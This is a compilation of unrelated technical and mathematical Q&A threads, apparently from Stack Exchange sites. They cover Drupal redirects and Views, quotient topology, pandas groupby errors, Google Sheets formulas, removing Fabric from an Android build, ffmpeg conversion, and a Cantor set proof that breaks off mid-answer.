drupal_goto in new tab

Question: Shortly: How can I open a drupal_goto() result in a new tab?
More details:
I've got a list of news, made with Views, that can be imported from a RSS feed (big custom module, very complicated, etc, etc) or directly written by the site's editor.
When I click on a news, I access the node full view mode page and, if it is an imported news, I'm redirected to the source site with drupal_goto(source).
I want to redirect to the external source site in another tab. And I can't figure it out. I'm not even sure if that's possible with only PHP.
Thanks in advance for any help.
Comment: Why not detect news origin in the Views an render each one diferently (external one with blank target a, for example)?
Comment: Because I need to go to the internal node page first to track visited nodes. Good question btw.
Answer: That isn't possible - drupal_goto() happens server-side, and you can only affect tabs/windows with client-side code.
You would need to stop using drupal_goto(), and instead insert some javascript into the page which opens the new URL in a new tab upon refresh.
Some (including myself) would also argue that you have no "right" to do this - let the user decide whether they want a new tab or not. Be careful of trying to force your will onto them. See Target Blank is Evil for a wonderfully opinionated bit of rhetoric on the matter.
Comment: Ouch. Run fast, run far ;)
Comment: Thanks for your quick answer. I read indeed that it was not possible on server-side and that I will need to use some JavaScript to achieve that. Unfortunately, I'm not in position to argue the "let's force or not the user to open external links in a new tab" part because it was decided so upstream and I'm only here to execute ;-) Thanks anyway for the advise!
Comment: Ah, clients...wouldn't life be so much simpler without them? ;)
Comment: It's worst than that, I don't have any clients. I'm working for a government company :-P

drupal_goto in new tab


$R/Q$ is compact

Question: $\mathbb R/\mathbb Q$ is known to be compact, where topology on $\mathbb R$ is Euclid topology, and define $a~b$ is equivalent to $a-b\in\mathbb Q$, topology on $\mathbb R/\mathbb Q$ is given by quotient topology.
Then, I want to prove $\mathbb R/\mathbb Q$ is compact.
I know in general, 'Let $G$ be a topology group. and $H$ is dense in $G$, then, $G/H$ is trivial topology'.
But I want to prove the titled statement without using the fact above.
Comment: There's a continuous map of $\mathbb{R}/\mathbb{Z}$ onto it, that's the circle which is compact.
Answer: The continuous map $\mathbb R\to \mathbb R/\mathbb Q$ factors as $\mathbb R\to\mathbb R/\mathbb Z\to\mathbb R/\mathbb Q,.$
But $\mathbb R/\mathbb Z\cong S^1,$ which is compact, and the continuous image of a compact space is compact.
This is more general, if $X$ is a topological space with two equivalence relations $\sim_1,\sim_2$ such that $x\sim_1 y$ implies $x\sim_2 y,$ then if $X/\sim_1$ is compact, then $X/\sim_2$ is compact.
Comment: Could you tell me why R/Z→R/Q is continuous?
Comment: Prove it for the general case, $X/\sim_1\to X\sim_2.$

$R/Q$ is compact


How to change page title for admin users to easly find which admin page they are

Question: During development I need to work with modules, views, site configurations, nodes etc.. I open all of them in new tabs (browser). It would be much convenient to switch between tabs to choose desired page if page title (html title that displays in the browser) has name of the admin navigation link/name. I have set 'Seven' as admin theme. Is there any configuration available to enable this or I need to tweek code?
Answer: You can use shortcut bar,

The Shortcut module provides a toolbar on the top of the page to which
  you can add links. This toolbar is site-wide, so any links added will
  be visible to all users who have permissions to see the Shortcut
  toolbar. This is useful for creating links to commonly-used pages
  within your site. You can organize these links in multiple sets of
  shortcuts.

Click on the + sign as shown below in any page you want to bookmark

You will see links next to Add Content , Find Content like below

Explained in link given above...
Comment: I am using this module already. Where can I find the configuration settings to display the admin section in the title bar? May be my question was not clear. I have updated it
Comment: You cannot modify the title bar text with the shortcut module.
Answer: By default with drupal the title should be [page-title] | [site-name].
If yours are not then it is possible that your theme or a module is changing your page titles.
For enhanced page title configuration there is also the page title module.
It allows you to set the page titles for nodes, users, etc.
It doesn't specifically have settings for admin pages, however it has a default page title, which will affect admin pages.
So you can enable that module and configure the default to whatever suits you best.


Need advice on how to setup a Drupal site on a given scenario

Question: I need ideas/help on how to setup a drupal website with following given scenario. I just come up with the scenario this is not real but if I get the answers then I think I can apply on real poject.
I have two content-type Movies & Celebrities.
Movies content type will list all the movies information like...
"Movie story overview", "movie review" and "movie cast"
Similarly I have Celebrities content type which will Celeb information like
Movies acted, Bio, awards etc.
Now what I want...
First Objective:

When I add a new celebrities node to site, how can I create/add multiple pages automatically
Example: I added a new celebrity named "kate winslet" by using "Add Content"->Celebrities content type. Now when I save it there should be 4 urls created in one go.
a.   Domain.com/celebrity/kate-winslet
   b.   Domain.com/celebrity/kate-winslet /movies-acted
   c.   Domain.com/celebrity/kate-winslet /bio
   d.   Domain.com/celebrity/kate-winslet /awards

Similarly while adding a Movies content type it should generate multiple pages like

a.   Domain.com/movies/titanic/overview
b.  Domain.com/movies/titanic/cast
c. And more like this.

Note: I don't want to create pages manually. Only one main landing page for each type should be created manually and rest of the pages should be added itself.
Now...
Second Objective:

On the "domain.com/movies/titanic/cast" page, how can I have functionality to look-up all the celebrities page titles & url and link both, a movie with its casts or an actor/actress with movies.

Example: I added a new movie "titanic", now the movies content type may have a custom filed (CCK) named as "movie cast" where I will be adding actor/actress full name like "kate winslet", "leonardo dicaprio" etc.
Now what I want is these names should be link to their corresponding celebrity pages like
a.  "kate winslet" shoule be linked to Domain.com/celebrity/kate-winslet
b.  And "leonardo dicaprio" should be linked to Domain.com/celebrity/ Leonardo-dicaprio
Any idea or help is highly appreciated.
Answer: This is multiple questions, really, but here's a quick answer for you:
Part 1: Using Views, you can accomplish having multiple "pages" for a given node. You'll have all the data for those pages on the one "kate-winslet" node. Then you'll create a view that takes an argument from the URL. The path of the view will be entered something like this:
/celebrity/%1/movies-acted. You will need to add the fields you want to each view or view display. Then you'll add a contextual filter, using the node id. If this doesn't make sense to you, you just need to learn how to use Views, and particularly how to use contextual filters in Views.
Part 2: Yeah, you just need to view a tutorial on how to use Views. This is a simple View, but you'll need to use the views_attach module, too probably.


Why can't I use GroupBy in this DataFrame

Question: I created a dataframe called df11.
This was an alter from the main DataFrame. (It's Pokemon by the way..)
df11= df.drop(["Name", "#"], axis=1).head(9)
df11

this is what i get:

    Type 1  Type 2  HP  Attack  Defense Sp. Atk Sp. Def Speed   Generation  Legendary
0   Grass   Poison  45  49  49  65  65  45  1   False
1   Grass   Poison  60  62  63  80  80  60  1   False
2   Grass   Poison  80  82  83  100 100 80  1   False
3   Grass   Poison  80  100 123 122 120 80  1   False
4   Fire    NaN 39  52  43  60  50  65  1   False
5   Fire    NaN 58  64  58  80  65  80  1   False
6   Fire    Flying  78  84  78  109 85  100 1   False
7   Fire    Dragon  78  130 111 130 85  100 1   False
8   Fire    Flying  78  104 78  159 115 100 1   False

Now I tried using df11.groupby("Type 2").mean()...
I get:
TypeError: agg function failed [how->mean,dtype->object]
How can I fix this error?
Comment: Most likely, you need: `df11.groupby("Type 2").mean(numeric_only=True)`
Answer: The error you mentioned occurs when trying to perform an aggregation function (like mean) on non-numeric columns.
What column do you want to get the mean value?
If you want to get all the mean value that is numeric, you can try like this
df11_numeric_means = df11.select_dtypes(include=[np.number]).groupby(df11['Type 2']).mean()


Serve node.js app without sudo (apache)

Question: Situation: I have an access to a directory 'public' on a server (which is no my). Content of this directory is public by www.size.com/~user, if I place there html file (for example index.html) browser shows me html page. If I place there an image it shows me and a hierarchical structure of 'public'. That's all I can do - I can't edit configuration files of apache, I can't use sudo.
On the server is node.js. When I execute node.js application and I use curl adress:8080 (from the server) its works fine (if I use curl www.size.com/~user with or without port it doesn't work). But I can't find out a way to return right response in browsers from any device. I have tried many configurations of .htaccess, but I got 'Internal Server Error' almost every time.
How to force apache to return node.js app?
I want: www.size.com/~user to return result of node.js app
Answer: You can't.
You would need to change configuration of Apache to act as a reverse proxy for your node application, so that requests for www.size.com/~user are forwarded to localhost:8080. This cannot be achieved with .htaccess files.
Comment: Oh, that are bad news. And the only place where is possible to change configuration of Apache is /etc/apache2 I can't have some file in 'public', which would override the part of Apache configuration right? Or is there something, that I can do as non-root?
Comment: As far as I know, this is not possible - as an administrator, you wouldn't want your users to freely change your configuration, would you?

Serve node.js app without sudo (apache)


How to stack different columns from a query into one single column Google Sheets

Question: I have done a QUERY from an importxml in Google Sheets, and I'm getting results in several columns. I need to get these results in only one column, but I always need to keep the first cell of each row even if it's blank. If that's the case, I don't want to keep blanks for other cells in the same row.
My data looks like this:
empty row
empty row
1x  1x  1x
1x  1x  1x
empty row
empty row
1x  1x  1x
1x  1x  1x
empty row
5x
And I want to get:
empty cell
empty cell
1x
1x
1x
1x
1x
1x
empty cell
empty cell
5x
My current code is this:
=QUERY(importxml('url-address';"//ul[@class='xxxxxxx']");"SELECT * WHERE Col1 CONTAINS 'x' OR Col1 IS NULL";-1)
EDIT: This is the link to the actual spreadsheet: https://docs.google.com/spreadsheets/d/1ZownNdUfFEeBmZ4hEQwkDVu-phYzU-2nCAH2Fg91GRs/edit?usp=sharing
I'm using to retrieve information for a videogame. I had already done it, but something has changed in the website I get the information from, and therefore now I need to adapt my formulae.
In tab "Gear components" you can find the structure of the data as it was with my previous formulae. In tab 'Formulas', you can find what I'm getting now. The list of gear on the left, and the amount of each one on the right, but with an inappropriate structure. Therefore, I need to keep all 1x and 5x.
Comment: [Edit] to explain Why  there are 6 `1x`s in your output table?
Comment: I'm not clear what your issue is.  Is the importxml, by itself  working fine?  Your query seems reasonable.  Possibly the `-1` on the end could cause funny results,  If your input data includes a header row, try `1` instead.  Providing a sample sheet, with sample data, would let us help you.
Comment: I'm not sure I understand what is your desired output. Would you consider providing a copy of the spreadsheet, clarifying this?
Comment: And yes, you will need a formula, perhaps using REGEXREPLACE, to convert strings like "1x 1x 1x" to "1x".  Is that what you are having a problem with?
Comment: I'm not sure I understand what the desired output is, even with the sample you provided. So, if a certain value had three `1x` next to it, the output should repeat this value in three different rows, one with a `1x` next to it? Something like [this](https://i.imgur.com/CS7TZQc.png).
Answer: You can use =STACKARRAY().
It is not a native function so you have to install the add-on (it's completely free)
https://gsuite.google.com/marketplace/app/stackarray_for_google_sheets/851782699334
Then you can use it this way:
=STACKARRAY(ref_to_your_table)
which will stack the 2nd column under the first column and so on...
You can also decide to remove blank rows:
=STACKARRAY(ref_to_your_table, TRUE)
Or change the strategy for stacking
=STACKARRAY(ref_to_your_table, TRUE or FALSE, TRUE)
Comment: Unfortunately, this didn't work. The output didn't seem right.
Answer: Instead of STACKARRAY use FLATTEN:
=FLATTEN(E3:G)

Answer: I ended up solving this with a different approach. I wrote the IMPORTXML better so I could really retrieve the data I needed, then used a CONCATENATE and a TRANSPOSE to get the data in the format I wanted.


Logistic Regression - Feature Interpretation

Question: I have fit a logistic regression to predict a given binary outcome, and the estimated coefficient associated with one of the features, feature $x$ let's say, has a value $\theta$.
The interpretation of this coefficient is that an increase by one unit of feature $x$, will increase the odds of the outcome by a factor of $e^\theta$.
Is it possible to quantify/approximate by how much the "probability of the outcome" (not the odds) will increase/decrease given an increase by one unit of feature $x$ ?
Comment: Search this site for "logit" and "marginal effects". There are many answers demonstrating how to do this.
Answer: Unfortuantely, the interpretation of logistic regression coefficients is difficult.
The change in probability will depend on the values of the other features, or, in other words, where on the logistic curve you start. You thus cannot tranform an odds ratio into absolute odds for logistic regression models.
A workaround to interpret a logistic regression coefficient $\theta_i$ is to set all features to their average values and compute the increase in probability for changes in its associated variable $x_i$, e.g. when it doubles.


Appropriateness of using an interval in $\Bbb{R}$ as the parameter to a continuous path in space $X$.

Question: The fundamental group $\pi_1(X,x)$ is usually defined using continuous paths $p : [0,1] \to X$.  But...
(1) Can you use other spaces besides a closed interval of $\Bbb{R}$ in the usual topo?
(2) How will the resulting fundamental group change if at all.
(3) Do there exist spaces $X$ where a closed interval of $\Bbb{R}$ in the usual topo doesn't really work for some reason, like $X$ has "too many points"?
Thanks.
Comment: It depends on what you're looking for. One possible generalization would be to consider $[(H,h),(X,x)]$ for various pointed-spaces $(H,h)$, and ask which of these have group structures. A natural class of examples is when $H$ is a so-called "co-$H$-space" (an $H$-space is roughly a topological group 'up to homotopy'). Then, for example, $S^1$ has a co-$H$-space structure, and $[(S_1,0),(X,x)]$ is just $\pi_1(X,x)$. As for your other questions, they are a bit too vague. The resulting object won't, in general, be the fundamental group, and so will obviously change it.
Comment: As for your third question, what do you mean "doesn't really work"? Are you asking are there spaces for which, say, another choice of $H$ (in my above notation) gives a 'better' notion of a group structure than $\pi_1(X,x)$?
Comment: @AlexYoucis for (3) I mean, I can imagine a continuous curve $C$ which has higher cardinality than $[0,1]$, so paths from $[0,1] \to C$ don't work for any space containing $C$.
Answer: You can indeed use other objects instead of a closed interval. The important thing to make things work is when considering a homotopy between two morphisms $f,g:X\to Y$ is to replace $Y$ by a cylinder object for it. A cylinder object for $Y$ is an a space (and more generally the situation can be considered in any Quillen model category, so in fact the situation is much much broader), typically denoted by $Y\wedge I$ (though it does not have to be related to any kind of binary operation or an interval, it's just another object) such that, intuitively, it contains two copies of the original $Y$ and it contracts to any of these two copies. (for forma details see any text on Quillen model categories (e.g., Hovey, Hirschhorn, Jardin, etc (I particularly like Hirschhorn's). When thinking about it, this is why a closed interval works, it contracts nicely to a point so when considering $Y\times [0,1]$ you get two copies of $Y$ in it and everything collapses continuously back to any of these copies. The theory of homotopy groups in Quillen model categories resembles the usual one quite closely.
There are however spaces for which this formalism won't work. For instance, analogously to the long line you can consider a long circle $C$ (e.g., take a two-point compactification and then identify the two points at infinity). For such a space any path $[0,1]\to C$ is contractible. In fact any continuous function $\mathbb R\to C$ is contractible. After all, it's the long circle, so $\mathbb R$ is simply too short. However, intuitively, the long circle should also have fundamental group isomorphic to $\mathbb Z$. This can be done by considering long (enough) paths.
There are other spaces that exhibit problematic behaviour with respect to paths parametrized by closed intervals. For instance, any such path in $\mathbb Q$ is constant, and thus the rational circle has trivial fundamental group. That too can be remedied by considering paths parametrized by rational intervals. It seems though that the most important cases are for spaces that are nice enough that no such pathologies arise in them. After, the homotopy groups of spheres are still a big mystery. Before we delve into obscure spaces, we'd better understand spheres.
Comment: What's the open problem involving spheres?
Comment: we don't quite know what they are. See http://en.wikipedia.org/wiki/Homotopy_groups_of_spheres


What's the the value of $x$ in the circumference below?

Question: For reference:

In the figure; calculate $x$, if $r =\sqrt2$.

(Answer: $x = \sqrt2$)

My progress:
Draw $PO_1\perp HG\:(O_1 \in HG).$
Let $O$ be the center of the largest circle.

Using Euclid's Theorem:
$\triangle OPF:OP^2 = OQ^2+PQ^2-2\cdot OQ\cdot FQ$
$\implies ((R-x)^2 =(R-r_2)^2+(r_2+x)^2-2(R-r_2)((r_2-x)$
$\implies R^2 -2Rx+x^2 = R^2-2Rr_2+r_2^2 +r_2^2+2r_2x+x^2 -2Rr_2+2Rx+2r_2^2-2r_2x$
$\therefore\boxed{
r_2^2-r_2R-Rx = 0}$
$\triangle MJR: ((r_1+r)^2 = IH^2 +(r_1-x)^2$
$\implies r_1^2+2r_1r+r^2=IH^2+r_1^2-2r_1x+x^2$
$\therefore \boxed{2r_1(r+x)-x^2 = IH^2}$
$\triangle PFQ: PQ^2=PF^2+FQ^2 $
$\implies (r_2+x)^2=PF^2 + (r_2-x)^2 $
$\implies r_2^2+2r_2x+x^2=PF^2+r_2^2-2r_2x+x^2$
$\therefore \boxed{4r_2x = PF^2}$
...?
Comment: Can you apply Descarte's theorem, which was mentioned in a similar question that you posted yesterday? What do you get then?
Comment: @CalvinLin  But the four circles are not tangent to each other...
Comment: Ah, sorry, spoke too soon. I thought we could have used the straight line.
Answer:
$PG = r_1 - r, PR = r_1 + r$ and so by Pythagoras, it is easy to see that $RG = 2 \sqrt{r r_1}$
Now if $O$ is the center of the circle with radius $R$,
$AG = 2r_1 - r ~$ and
$ |OG| = |AG - AO| = |2r_1 - r - R| ~ $
By Pythagoras, $OG^2 = OR^2 - RG^2$
$\implies (2r_1 - r - R)^2 = (R-r)^2 - 4 r r_1$
Solving, $R r = R r_1 - r_1^2 \implies R r = r_1 (R - r_1)$. But as $R = r_1 + r_2$,
$R r = r_1 r_2 \tag1$
Now $KQ = r_2 - x, QS = r_2 + x$ and we obtain $SK = 2 \sqrt{xr_2}$
$OK = OB - KB = R - (2r_2 - x)$
$OK^2 = (R - 2r_2 + x)^2 = OS^2 - SK^2 = (R-x)^2 - 4 xr_2$
Solving, $Rx = r_2 (R - r_2) = r_1 r_2 \tag2$
From $(1)$ and $(2)$, we conclude that $r = x$.
Comment: thanks, I posted a solution using Euclid's Theorem...I believe it is correct
Comment: @ACB of course I will go through it in sometime :) thanks for informing
Answer: In fact, the two small circles here are called 'Twin circles'. As the name suggests, they are congruent. Here's a proof:

Following the image, $EH\parallel AB$ leads to $FEA,$ $FHB,$ $EDC,$ $ADH$ are straight lines. Also $AF$ is extended to meet $CH$ at $G$.
Since $\angle AFB=\angle ACG=90^\circ$, we can say that $H$ is the orthocenter of $\triangle ABG$. That implies $AI\perp BG$.
Therefore $\angle AIB=\angle ADC=90^\circ\implies BG\parallel CE.$
$\displaystyle \therefore \frac{EH}{AC}=\frac{EG}{AG}=\frac{CB}{AB}\implies EH=\frac{AC\cdot CB}{AB}.$
Similarly, we can prove that the diameter of the other circle is also equal to $\frac{AC\cdot CB}{AB}.$
Thus, you get the answer to your question from here.
Comment: Indeed! :) The key is to seeing $A, E, F$; $B, H, F$.. are collinear. Very nice solution.
Answer:
$AB = 2R\\
r_1+r_2= R\\
AO = R$
Euclid's Th.: $\triangle OO_1O_3$ and $OO_2O_4$
$(R-r)^2=(r_1+r)^2+r_2^2-2(r_1-r)r_2\\R^2-2Rr+r^2 = r_1^2+2r_1r+{r^2}+r_2^2-2r_1r_2+2rr_2\implies\\\boxed{R^2-2Rr = (r_1-r_2)^2+2r(r_1+r_2)}(I)$
$(R-x)^2=(r_2+x)^2+r_1^2-2(r_2-x)r_1=\\
R^2-2Rx+{x^2} =r_2^2+2r_2x+{x^2}+r_1^2-2r_2r_1+2xr_1=\\
\boxed{R^2-2Rx=(r_1-r_2)^2+2x((r_1+r_2)}(II)$
$(I)-(II):2Rx-2Rr=2r(r_1+r_2)+2x(r_1+r_2)=$
$2R(x-r)=(\underbrace{r_1+r_2}_{=R})(2(r+x))$
$\therefore\boxed{\color{red}x-r = r+x \implies x = r}$
Comment: Yes this is good! But you have some typos that you may want to fix.


One IP address, two different countries

Question: I was using multiple websites to determine the geolocation of an IP address, and ended up getting two different countries (on the same continent). What is the reason behind this?
Comment: See http://serverfault.com/questions/14985/what-is-anycast-and-how-is-it-helpful
Comment: Was any of them right?
Answer: The simple reason is of course that a public IP-address is a internet network address and not a street address with a fixed geographical location.
An simple IP-address to Location database is similar to using the logic of an old-school landline telephone number (which was somewhat geographically fixed with a country code, area code and local subscriber number) in the era of cellular phones:
 although a cellular phone's number looks similar to any other phone number you can't apply that same logic anymore. You can't reliably determine the phone's location from just the number because it's owner can be reached and calling from nearly anywhere in the world.
You can still infer some information and make somewhat reliable broad assumptions from just a phone number. For instance: most mobile subscribers with a french country code are likely to actually be in France, rather than travelling abroad...
Returning to the topic of IP-address to location database: not all of them are updated purely with IP networking information from the same public sources: they can augment their database with additional (privileged) information sources such as actual routing tables, collected meta data about IP spaces but also for instance use aggregated HTML 5 geolocation data for greater accuracy.
Comment: "although a cellular phone's number looks similar to any other phone number" That depends on the country you live in. Maybe this is the case in the US, but most European countries have different number spaces for them. E. g., in France, you have 06 instead of 01..05, in Germany you have 015*, 016* and 017* instead of 02* .. 09* and so on.
Comment: In .NL the 06 prefix is also reserved for mobile but small businesses are now offered to get traditionally local prefixes routed directly to mobile without landline subscriptions. Not so much a consumer service yet, but then not many consumers get toll free numbers either☺
Comment: @glglgl Even if you reach a German mobile phone via a number like `+49171123456` it may well be the case that the phone is in Australia
Answer: Different geolocation sites pull their location data from different databases. There are a lot of these databases and IP addresses get reassigned frequently so it can be difficult to keep the current location of an IP address owner up-to-date in every database all the time.

One IP address, two different countries


How to display referenced field data in view?

Question: I have two content types named as "abc" and "xyz" respectively.
"xyz" content type having field called "field_abc".
Its a referenced field to "abc" content type.
I create a view by taking "abc" contents.
Is it possible to show the title of "xyz" in which "abc" taken as referenced field?
I think the reverse may works. Means if I create a view by taking "xyz" contents. But i need to know if I create a view by taking "abc" contents. It will work on not?
Answer: You want a backreference. For D8 this is an open feature request:
Implement Entity Reference Backreferences
You should consider to this is in a forward reference (what you call reverse). Because even if the feature Backreferences is available, you would also somehow need to manage that there is only one reference, which you want to get the title field from. You can control this in the forward direction by making the reference field single value, but not in the other direction.


How to create batch file to execute multiple DB2 queries

Question: I have to run some DB2 SQL queries more frequently.It is taking lot of time to do that manually. For that, I am planning to create batch file to execute those DB2 SQL commands.
So,Please let me know whether it is possible to create windows batch file to run set of DB2 sql queries.
Answer: You can save a .sql file to your hard drive, and execute it using the DB2 command line using:
db2 -vtf C:\path\to\somefile.sql

-v echoes the command text back to the command line
-t sets the statement terminator to ;. If you want to use something else (creating stored procedures for example), you can use -td__ where __ represents up to two characters you can use as the terminator.  Alternatively, you can use --#SET TERMINATOR __ inside your batch file
-f tells the command line to load the commands from the file.
See other command line options here.


Remove fabric and firebase from android studio project completely

Question: I am getting struggled with errors and warnings whenever I try to remove fabric and firebase from my android studio project. I almost deleted every implementation of those from project but I still see some crashlytics in my gradle. How can I clean up these fully. I don't want any firebase/fabric in my project.
My app level Gradle:
buildscript {
repositories {
    maven { url 'https://maven.fabric.io/public' }
}

dependencies {
    classpath 'io.fabric.tools:gradle:1.+'
}
}
apply plugin: 'com.android.application'
apply plugin: 'io.fabric'

repositories {
maven { url 'https://maven.fabric.io/public' }
}

android {
compileSdkVersion 26
defaultConfig {
    applicationId 'drpg.ddkeys'
    minSdkVersion 19
    targetSdkVersion 26
    versionCode 4
    versionName '4.4.42'
    testInstrumentationRunner "android.support.test.runner.AndroidJUnitRunner"
    lintOptions {
        checkReleaseBuilds false
        abortOnError false
    }
    versionNameSuffix 'blaze'
}
buildTypes {
    release {
        minifyEnabled false
        proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
    }
}
productFlavors {
}
buildToolsVersion '27.0.3'
}

dependencies {
implementation fileTree(include: ['*.jar'], dir: 'libs')
implementation 'com.android.support:appcompat-v7:26.1.0'
implementation 'com.android.support:design:26.1.0'
implementation 'com.android.support.constraint:constraint-layout:1.1.3'
implementation 'com.android.support:support-v4:26.1.0'
testImplementation 'junit:junit:4.12'
androidTestImplementation 'com.android.support.test:runner:1.0.2'
androidTestImplementation 'com.android.support.test.espresso:espresso-
core:3.0.2'

}

apply plugin: 'com.google.gms.google-services'

My Project level gradle:
buildscript {
repositories {
    maven { url 'https://maven.fabric.io/public' }
}

dependencies {
    classpath 'io.fabric.tools:gradle:1.+'
}
}
apply plugin: 'com.android.application'
apply plugin: 'io.fabric'

repositories {
maven { url 'https://maven.fabric.io/public' }
}

android {
compileSdkVersion 26
defaultConfig {
    applicationId 'drpg.ddkeys'
    minSdkVersion 19
    targetSdkVersion 26
    versionCode 4
    versionName '4.4.42'
    testInstrumentationRunner
    "android.support.test.runner.AndroidJUnitRunner"
    lintOptions {
        checkReleaseBuilds false
        abortOnError false
    }
    versionNameSuffix 'blaze'
}
buildTypes {
    release {
        minifyEnabled false
        proguardFiles getDefaultProguardFile('proguard-android.txt'),
'proguard-rules.pro'
    }
}
productFlavors {
}
buildToolsVersion '27.0.3'
}

dependencies {
implementation fileTree(include: ['*.jar'], dir: 'libs')
implementation 'com.android.support:appcompat-v7:26.1.0'
implementation 'com.android.support:design:26.1.0'
implementation 'com.android.support.constraint:constraint-layout:1.1.3'
implementation 'com.android.support:support-v4:26.1.0'
testImplementation 'junit:junit:4.12'
androidTestImplementation 'com.android.support.test:runner:1.0.2'
androidTestImplementation 'com.android.support.test.espresso:espresso-
core:3.0.2'
}

apply plugin: 'com.google.gms.google-services'

Answer: Mike from Fabric here. Sorry to hear you're removing Fabric and if you have feedback, please email support(at)fabric(dot)io.
From your app's build.gradle, remove:
buildscript {
repositories {
    maven { url 'https://maven.fabric.io/public' }
}

dependencies {
    classpath 'io.fabric.tools:gradle:1.+'
}
}
apply plugin: 'io.fabric'

repositories {
maven { url 'https://maven.fabric.io/public' }
}

From your project's build.gradle, remove:
buildscript {
repositories {
    maven { url 'https://maven.fabric.io/public' }
}

dependencies {
    classpath 'io.fabric.tools:gradle:1.+'
}
}
apply plugin: 'io.fabric'

repositories {
maven { url 'https://maven.fabric.io/public' }
}

If you see a Fabric API key in your AndroidManifest.xml, remove that value:
   <meta-data
            android:name="io.fabric.ApiKey"
            android:value="YourKey"
            />

If you have a crashlytics.properties or fabric.properties file, remove that file.
If you see a Fabric init statement in your app, remove it. An example:
Fabric.with(this, new Crashlytics(), new CrashlyticsNdk());

If you have a google-services.json file that you've used with Firebase, remove that. The beginning of the file would look like this:
 "project_info": {
    "project_number": "number",
    "firebase_url": "firebase_url",
    "project_id": "your-project-id",
  }

Ultimately, the best choice is to look at your commit history when the dependencies were added and remove those. I can't give a perfect answer since Firebase and Fabric are both modular.
Comment: Just removing crashlytics so I can share just my project.
Comment: Thanks will check that.
Comment: I have done this but I can still call Fabric.with(this, new Crashlytics(), new Answers()); in my java classes. Why?
Answer: You can also check the Upgrade to the Firebase Crashlytics SDK. It gives you detailed instructions for removing the Fabric Crashlytics SDK and replacing it with Firebase Crashlytics.
This page gives also an overview about Fabric Crashlytics methods and their replacements in the new Firebase SDK.


m4v to mp4 conversion on Ubuntu server on SSH access

Question: I am doing a conversion of mp4 to flv on a GUI less server where I have only SSH access.( I tried winff and X forwarding that had hanged while doing this conversion so winff is not possible for me)
I do not have any idea of the
codecs,bitrate of this mp4 video.
Some one had converted from an m4v to mp4 and then uploaded this on the server.
When I tried converting on command line
as follows
ffmpeg -i stats_estimation.mp4 out.flv
FFmpeg version SVN-r0.5.1-4:0.5.1-1ubuntu1, Copyright (c) 2000-2009 Fabrice Bellard, et al.
  configuration: --extra-version=4:0.5.1-1ubuntu1 --prefix=/usr --enable-avfilter --enable-avfilter-lavf --enable-vdpau --enable-bzlib --enable-libgsm --enable-libschroedinger --enable-libspeex --enable-libtheora --enable-libvorbis --enable-pthreads --enable-zlib --disable-stripping --disable-vhook --enable-runtime-cpudetect --enable-gpl --enable-postproc --enable-swscale --enable-x11grab --enable-libdc1394 --enable-shared --disable-static
  libavutil     49.15. 0 / 49.15. 0
  libavcodec    52.20. 1 / 52.20. 1
  libavformat   52.31. 0 / 52.31. 0
  libavdevice   52. 1. 0 / 52. 1. 0
  libavfilter    0. 4. 0 /  0. 4. 0
  libswscale     0. 7. 1 /  0. 7. 1
  libpostproc   51. 2. 0 / 51. 2. 0
  built on Mar  4 2010 12:41:55, gcc: 4.4.3

Seems stream 0 codec frame rate differs from container frame rate: 29.94 (5000/167) -> 44.92 (539/12)
Input #0, mov,mp4,m4a,3gp,3g2,mj2, from 'stats_estimation.mp4':
  Duration: 02:47:05.56, start: 0.000000, bitrate: 237 kb/s
    Stream #0.0(eng): Video: h264, yuv420p, 320x240, 44.92 tbr, 14.97 tbn, 29.94 tbc
    Stream #0.1(eng): Audio: aac, 32000 Hz, stereo, s16
Output #0, flv, to 'out.flv':
    Stream #0.0(eng): Video: flv, yuv420p, 320x240, q=2-31, 200 kb/s, 90k tbn, 44.92 tbc
    Stream #0.1(eng): Audio: adpcm_swf, 32000 Hz, stereo, s16, 64 kb/s
Stream mapping:
  Stream #0.0 -> #0.0
  Stream #0.1 -> #0.1
[adpcm_swf @ 0xa4ef60]Sample rate must be 11025, 22050 or 44100
Error while opening codec for output stream #0.1 - maybe incorrect parameters such as bit_rate, rate, width or height

I have above error.
I checked this page
http://www.ffmpeg.org/ffmpeg-doc.html
but I could not understand much.
Can some one help to figure out what should I be doing to get this video to flv in this case?
The OS is Ubuntu 10.04 64 bit server edition and
aptitude install winff
was what  I had used to get ffmpeg or any thing else.
Answer: Try to start FFmpeg with "-ar 44100" to correct audio rate,
and if quality matters, with a "-sameq". like the line below.
ffmpeg -i stats_estimation.mp4 -sameq -ar 44100 out.flv

Comment: Ok and is there a way on command line so that I preserve the aspect ratio of video.
Comment: Normally it should not change resolution or aspect ratio, unless you force ffmpeg to resize source.  here is a full guide to see all parameters of ffmpeg. http://www.ffmpeg.org/ffmpeg-doc.html#SEC6


Rudin's discussion on cantor set

Question: After defining the Cantor set $P$, Rudin claims no segment of the form $$\Big(\frac{3k+1}{3^m},\frac{3k+2}{3^m}\Big)\tag{24}$$ where $k$ and $m$ are positive integers, has a point in common with $P.$ (it took me a while to verify this; I found this argument and accepted despite wanting more!)
Then he claims : since every segment $(\alpha,\beta)$ contains a segment of the form $(24)\dots$
I wanted to verify this i.e $\Big(\frac{3k_o+1}{3^{m_o}},\frac{3k_o+2}{3^{m_o}}\Big) \subseteq (\alpha,\beta) \subseteq (0,1) $ for some positive integers $k_o$ and $m_o$.
Attempt: For the possibility of inclusion we would want the length of $\Big(\frac{3k+1}{3^m},\frac{3k+2}{3^m}\Big)$ which is $\frac{1}{3^m}$ to be less than the length of $(\alpha,\beta)$ which is $\beta -\alpha$. By the Archimedean property it is possible to find an $m_o(\in \mathbb{N}) > \log_3\frac{1}{\beta - \alpha}$ so that $\frac{1}{3^{m_o}}<\beta -\alpha.$
But I have trouble finding the right $k_o.$ It is possible again to choose $k_o$ by Archimedean property to have $\frac{3k_o+1}{3^{m_o}}> \alpha.$ But how do you ensure that $\frac{3k_o+2}{3^{m_o}}< \beta?$
Comment: choose the length of the interval to be $1/3$ the length of $(\alpha,\beta)$ then just choose the first $k$ for which $3k+1/3^m$ is greater than $\alpha$.
Comment: You should choose $m_o$ so that $\frac{1}{3^{m_o}}$, shouldn't you? 'Cause the length of that interval is $1/3^{m_o}$..  Does it help you to choose such $k_o$ ?
Comment: @rldias right! corrected
Answer: As you observed the length of the interval $\big(\frac{3k+1}{3^m},\frac{3k+2}{3^m}\big)$ is $\frac{1}{3^m}$. Now given $\alpha<\beta\in\mathbb{R}$, let $m$ be sufficiently large so that $\frac{1}{3^m}<\frac{\beta-\alpha}{4}$. This choice of $m$ implies that $$\text{($\star$) }\beta-\frac{4}{3^m}>\alpha$$
